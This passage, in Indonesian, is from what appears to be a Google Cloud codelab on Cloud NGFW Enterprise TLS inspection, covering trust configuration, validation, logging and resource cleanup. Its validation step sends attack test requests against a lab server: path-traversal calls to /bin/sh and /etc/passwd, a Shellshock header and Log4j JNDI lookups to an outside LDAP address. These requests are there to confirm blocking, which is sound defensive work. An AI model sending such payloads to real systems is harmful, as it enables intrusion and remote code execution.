ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRS -----END CERTIFICATE-----
Impor konfigurasi kepercayaan:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
Perbarui file YAML Kebijakan TLS untuk menyertakan konfigurasi kepercayaan:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Impor Kebijakan TLS yang diperbarui:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Memvalidasi Pemeriksaan TLS E/W
Kembali ke klien melalui SSH untuk menguji traffic E/W dengan konfigurasi kepercayaan yang diperbarui:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Jalankan contoh permintaan TLS ke server:
curl https://$target_privateip --max-time 2
Jika Anda masih mendapatkan output di bawah, harap tunggu hingga update diterapkan.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Output yang diharapkan:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Kirim traffic pengujian berbahaya ke server:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Output yang diharapkan:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Tidak ada respons yang diterima sesuai dengan output yang diharapkan di bawah, yang mengonfirmasi bahwa contoh serangan kini diblokir untuk E/W.
13. Logging
Buka Logging > Logs Explorer melalui Cloud Console, masukkan filter di bawah, lalu buat kueri log. Ganti [PROJECT_ID] dengan project_id Anda:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Entri log Cloud NGFW Enterprise akan terlihat mirip seperti di bawah ini:
Luaskan entri log dan perhatikan bahwa serangan yang dikirim dari VM klien ke server diidentifikasi dan diblokir (Kerentanan Eksekusi Kode Jarak Jauh Apache Log4j seperti pada screenshot di bawah).
Anda telah berhasil men-deploy Cloud NGFW Enterprise dengan TLS Inspection untuk memblokir permintaan berbahaya.
Lanjutkan ke bagian berikutnya untuk mengetahui langkah-langkah pembersihan.
14. Langkah-langkah Pembersihan
Pembersihan Penyiapan Dasar
Hapus instance:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Hapus kunci dan nilai Tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Hapus Kebijakan Jaringan Firewall Cloud dan pengaitan:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Hapus Cloud Router dan Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Hapus alamat IP yang dicadangkan:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Pembersihan TLS, Asosiasi, dan SPG Cloud Firewall
Hapus Grup Profil Keamanan dan Profil Ancaman dalam urutan ini:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Hapus pengaitan endpoint Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Hapus endpoint Cloud Firewall, yang dapat memerlukan waktu sekitar 20 menit:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Secara opsional, konfirmasi bahwa endpoint Cloud NGFW telah dihapus dengan menjalankan perintah di bawah:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Status untuk endpoint akan menampilkan:
STATE: DELETING
Setelah selesai, endpoint tidak akan lagi tercantum.
Hapus Kebijakan TLS dan Konfigurasi Kepercayaan dalam urutan ini:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Nonaktifkan dan hapus Root CA dan CA Pool:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Pembersihan Subnet dan VPC
Terakhir, hapus subnet dan jaringan VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. Selamat!
Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk Inspeksi TLS East-West dan Northbound.